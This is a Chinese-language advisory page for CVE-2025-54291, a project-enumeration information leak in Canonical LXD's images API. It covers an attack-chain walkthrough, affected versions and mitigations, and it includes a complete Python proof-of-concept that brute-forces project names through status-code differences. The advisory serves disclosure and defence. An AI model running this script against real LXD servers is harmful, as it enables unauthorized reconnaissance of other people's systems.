IPBUF安全漏洞报告
English
CVE-2025-54291 CVSS 5.3 中危

CVE-2025-54291:Canonical LXD镜像API信息泄露漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-54291
漏洞类型
信息泄露(Information Disclosure)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD

相关标签

信息泄露Canonical LXD容器管理API安全项目枚举侧信道攻击未认证漏洞CVE-2025-54291Ubuntu

漏洞概述

CVE-2025-54291是Canonical LXD容器管理平台镜像API中存在的一个信息泄露漏洞。该漏洞存在于Canonical LXD 6.5之前版本以及5.21.4之前的所有5.x版本中,影响所有运行LXD的平台。LXD是Canonical公司开发的一款开源容器管理工具,广泛用于Linux系统上的系统级容器(系统容器)管理,类似于Docker但更侧重于完整的虚拟机替代方案。该漏洞的CVSS评分为5.3,属于中等严重等级。其核心问题在于LXD的images API在处理不同项目(project)请求时,会根据项目是否存在返回不同的HTTP状态码。攻击者无需任何认证即可远程利用此漏洞,通过观察这些不同的HTTP响应状态码,可以枚举和确定LXD实例中哪些项目存在,从而获取敏感的系统配置信息。虽然该漏洞不会直接导致数据泄露或系统入侵,但它为后续更复杂的攻击提供了侦察基础。攻击者可以利用项目枚举结果来了解目标系统的组织结构、命名规范和潜在的攻击面,为进一步的社会工程学攻击或针对性渗透测试提供有价值的情报。该漏洞由Ubuntu安全团队([email protected])发现并报告,并于2025年10月2日正式披露。Canonical已经发布了修复版本,建议所有LXD用户尽快升级到安全版本以消除此安全隐患。

技术细节

该漏洞的技术原理基于LXD images API在处理项目(project)相关请求时的响应差异。在LXD的多租户架构中,项目是用于资源隔离和权限管理的重要概念,每个项目可以包含独立的容器、镜像和网络配置。正常的images API请求通常需要指定项目名称作为参数,例如通过HTTP请求访问`/1.0/images`端点时可以指定`project`参数。当攻击者向LXD的images API发送带有特定project参数的请求时,服务器会根据该项目是否存在返回不同的HTTP状态码。如果项目存在,API可能会返回200 OK状态码及相关的镜像列表数据;如果项目不存在,API则可能返回404 Not Found或其他错误状态码。这种行为差异本质上是一种侧信道信息泄露(side-channel information disclosure),攻击者可以通过简单的HTTP请求枚举大量可能的项目名称,并根据响应状态码的差异来确认哪些项目是真实存在的。虽然单个请求泄露的信息有限,但通过自动化脚本批量测试,攻击者可以在短时间内完成大规模的项目枚举。由于该漏洞无需任何认证(PR:N)且通过网络即可利用(AV:N),且不需要用户交互(UI:N),因此具有较低的利用门槛。攻击者只需构造简单的HTTP请求即可发起攻击,利用复杂度极低。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者首先识别目标网络中暴露的LXD实例,通常通过端口扫描发现LXD默认的8443端口或通过其他信息收集手段确认LXD服务的存在。
STEP 2
步骤2:API端点探测
攻击者向LXD的images API端点(/1.0/images)发送测试请求,确认API可访问且存在项目参数处理逻辑。
STEP 3
步骤3:项目枚举
攻击者使用自动化工具批量发送带有不同project参数的HTTP请求,根据返回的HTTP状态码差异(200 vs 403/404)判断哪些项目真实存在。
STEP 4
步骤4:信息收集与利用
攻击者利用枚举得到的项目名称信息,了解目标系统的组织结构和命名规范,为后续更深入的渗透攻击(如社会工程学、针对性漏洞利用)提供情报支持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-54291 PoC - LXD Images API Project Enumeration # Exploits information disclosure via differing HTTP status codes # Author: Security Researcher import requests import sys import concurrent.futures from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_URL = "https://lxd-target.example.com:8443" WORDLIST = [ "default", "admin", "test", "production", "staging", "dev", "development", "backend", "frontend", "internal", "project1", "project2", "team-a", "team-b", "shared", "public", "private", "backup", "archive", "legacy" ] def check_project(project_name): """ Send a request to LXD images API with a specific project parameter. Different HTTP status codes indicate project existence. """ try: # LXD images API endpoint with project parameter url = f"{TARGET_URL}/1.0/images" params = {"project": project_name} headers = {"Accept": "application/json"} response = requests.get( url, params=params, headers=headers, verify=False, timeout=10 ) # 200 = project exists, 403/404 = project doesn't exist or access denied if response.status_code == 200: return (project_name, True, response.status_code) elif response.status_code == 403: return (project_name, False, response.status_code) elif response.status_code == 404: return (project_name, False, response.status_code) else: return (project_name, None, response.status_code) except requests.exceptions.RequestException as e: return (project_name, None, str(e)) def main(): print(f"[*] CVE-2025-54291 - LXD Project Enumeration PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(WORDLIST)} project names...\n") existing_projects = [] # Use thread pool for faster enumeration with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_project, name): name for name in WORDLIST} for future in concurrent.futures.as_completed(futures): project_name, exists, status = future.result() if exists is True: print(f"[+] FOUND: '{project_name}' (status: {status})") existing_projects.append(project_name) elif exists is False: print(f"[-] Not found: '{project_name}' (status: {status})") else: print(f"[?] Error: '{project_name}' (status: {status})") print(f"\n[*] Enumeration complete. Found {len(existing_projects)} existing projects:") for p in existing_projects: print(f" - {p}") if __name__ == "__main__": main()

影响范围

Canonical LXD < 5.21.4
Canonical LXD 5.x < 5.21.4
Canonical LXD 6.x < 6.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过防火墙规则限制对LXD API端口(默认8443)的外部网络访问,仅允许可信网络段访问;同时启用LXD的客户端证书认证,阻止未认证的远程访问请求,以降低信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表